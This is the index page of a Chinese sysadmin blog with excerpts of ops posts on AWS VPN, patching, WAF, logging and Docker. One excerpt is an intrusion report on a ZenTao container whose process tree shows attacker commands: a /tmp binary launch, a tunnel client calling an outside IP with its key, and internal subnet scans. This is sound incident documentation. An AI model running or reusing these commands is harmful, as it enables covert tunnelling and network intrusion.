运维烂笔头

一个 SA 老兵的工作日志

发表于 更新于 分类于

背景

我厂在 AWS 上有 tooling、dev、qa、preprod 四个环境，VPC 之间通过 peering 互通。日常运维需要从办公网络访问这些 VPC 内的资源，走的是 AWS Client VPN。

Client VPN 的认证方式我们选了证书双向认证（mutual TLS）。AWS 也支持 Active Directory 或 SAML SSO 认证，但我们的场景比较简单——十来个人用，不想为此多维护一套认证基础设施。证书认证的好处是纯客户端侧，不依赖额外的认证服务，配好 .ovpn 文件就能连。

阅读全文 »

发表于 更新于 分类于

缘起

最近一直在啃 WIZ 扫出来的漏洞，修了有一两个月。今天打开一看：某两台 Amazon Linux 2023 的 EC2，操作系统软件包漏洞突然多了大几十个、上百个。

第一反应不是「又有新 CVE 发布了」，而是：你们不是开了每天自动更新吗？

上去一查，更气。dnf-automatic-install.timer 天天在跑，journal 里全是 Success；再对比同环境另一台机器，那边包版本已经新一截了，这两台还停在旧的。不是 timer 挂了，不是没装 dnf-automatic，也不是没写 releasever=latest——配置「看起来全都对」，预期作用却等于零。

气从何来？因为这不是偶发运维疏忽，而是 默认行为在逻辑上就不该和「每天更新」摆在一起。你以为自己买了份日更保险，其实保单条款里写着：索引最多可以旧两天。

阅读全文 »

发表于 更新于 分类于

缘起

preprod 里有个维护窗口：nusa-preprod-windows-patch，每天凌晨 03:17（Asia/Singapore）跑 AWS-RunPatchBaseline，目标是两台带 PatchGroup=preprod-windows 的 PowerBI Gateway。

某天随手翻了一下执行历史，发现一件不太妙的事：

从 6 月 25 号到 7 月 24 号，最近三十来次执行，全部 Failed。

不是偶发超时，不是某一台掉线，是窗口级天天红。SSM Agent 在线，机器也跑着，任务确实打上去了——然后挂在 Windows 补丁搜索这一步。

现象

错误信息不长，但很「经典」：

1
2
An error occurred when attempting to search Windows Update.
Exception from HRESULT: 0x80072F8F
阅读全文 »

发表于 更新于 分类于

缘起

前段时间升级了一下公司的 SonarQube，版本升到了 2026 年 7 月版。

这个 SonarQube 是通过 AWS 的公网 ALB 对外提供服务的。既然放在公网，虽然不是谁都能登录，但让它就这么裸奔着总觉得不太合适，于是我在 ALB 前面加了一层 AWS WAF。

WAF 里启用了几组 AWS Managed Rules，包括：

  • AWSManagedRulesCommonRuleSet
  • AWSManagedRulesKnownBadInputsRuleSet
  • AWSManagedRulesSQLiRuleSet
  • AWSManagedRulesAmazonIpReputationList

另外还加了一个按 IP 限速的规则。

SonarScanner 上传的数据比较大，所以当时还专门对 SizeRestrictions_BODY、CrossSiteScripting_BODY 和 SQLi_BODY 做了放行或者只计数处理。

过了几天，我又给 SonarQube 加了一层 IP 白名单：只有办公室出口 IP 和 GitHub Actions 的公网 IP 才能访问。

为了不影响同一个 ALB 后面将来可能挂的其他服务，这个白名单不是直接加在 ALB 的 Security Group 上，而是在 WAF 里根据 HTTP Host 匹配，只限制 SonarQube 的域名。

看起来考虑得还挺周全。

然后，坑就挖好了。

阅读全文 »

发表于 更新于

我在 xxxxx 的工作总结(AI 生成)

从 xxxx 年 xx 月到 xxxx 年 xx 月，我在 xxxxxx 担任 DevOps 工程师。这是一段充满挑战与成长的旅程。在这篇文章里，我将回顾并总结我在这期间负责的主要工作、技术实践以及个人收获，希望能为同样走在 DevOps 路上的朋友们提供一些参考。

阅读全文 »

发表于 更新于

背景介绍

之前用 rsyslogd 做过一个集中的 log server，主要是收集服务器系统和审计日志。最近要做的这个集中的 log server，则是专注于收集、展示应用日志的。我现在的服务器，操作系统有两种：Debian 12(bookworm) 和 Ubuntu 24.04，准确的说：应用服务器都是 Ubuntu 24.04，只有运维专用的两台（含要做的这个 log server）是 Debian 12。

因为是小厂，所以就摒弃掉大而重的 elasicsearch 系的方案，直接用 grafana 同源的 loki 来做服务端，客户端收集日志也是 grafana 同源的 promtail，技术方案选型就这么愉快得决定了。

阅读全文 »

发表于 更新于

发现时间

最早发现是 2025-05-06 下午，发现 PVE 的香港出口带宽异常，接着发现跟 176.32.35.190 的 tcp 端口 8024 有大量的数据交互

然后在 2025-05-07 上午，用 docker exec -it zentao /bin/bash 进入容器，apt install psmisc，然后 pstree -a 才确认被入侵的。

zentao 容器内执行 pstree -a 输出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
s6-svscan /etc/s6/s6-enable
  |-s6-supervise 00-mysql
  |   `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...
  |       `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run
  |           `-13*[{mariadbd}]
  |-s6-supervise 02-sentry
  |   `-tail -f /tmp/sentry.log
  |-s6-supervise 03-roadrunner
  |   `-rr serve -c /apps/zentao/roadrunner/.rr.yaml
  |       `-5*[{rr}]
  |-s6-supervise 01-apache
  |   `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND
  |       `-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |   `-sh -c ...
  |           |       `-sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2
  |           |           `-slix
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |   `-scanb.sh ./scanb.sh
  |           |               |       `-fs -h 192.168.38.0/24 -o 192b.txt -t 5 -np ...
  |           |               |           `-8*[{fs}]
  |           |               `-4*[{slix}]
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |   `-sh -c...
  |           |       `-sh -c...
  |           |           `-ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc ...
  |           |               `-11*[{ns}]
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           `-httpd -D FOREGROUND
  `-scanb.sh ./scanb.sh
      `-fs -h 192.168.39.0/24 -o 192b.txt -t 5 -np
          `-8*[{fs}]
阅读全文 »

发表于 更新于

在 Docker compose 文件里使用健康检查的方案变迁。
背景：小厂，用不起 kubernetes，只能自己生写 docker compose 来部署 Docker 容器。以下以一个在容器里监听 tcp 端口 8090 的服务为例来描述一下我用到过的健康检查的方案的变迁。

阅读全文 »

发表于 更新于

缘起

我厂有一个网站（域名 a.b.com 和 a1.b.com），原来是跑在自己 IDC 里的机器上的，用 Docker 容器跑的，容器里就一个 nginx，放了一堆的静态资源。

为了“用户体验”，这两个域名都上了 CDN（AWS 的 cloudfront），源站分别是：

  1. a.ori.b.com
  2. a1.ori.b.com

最近做了一次架构调整，把这个服务迁移到了 AWS 的 EC2 上，而且将这个服务放在了一个 ALB 的后面，这个 ALB 是启用了 cloudfront 集成的，所以，我在 route 53 上就把这两个域名都解析到了 ALB 集成的这个 cloudfront distribution 的域名上了。

阅读全文 »
0%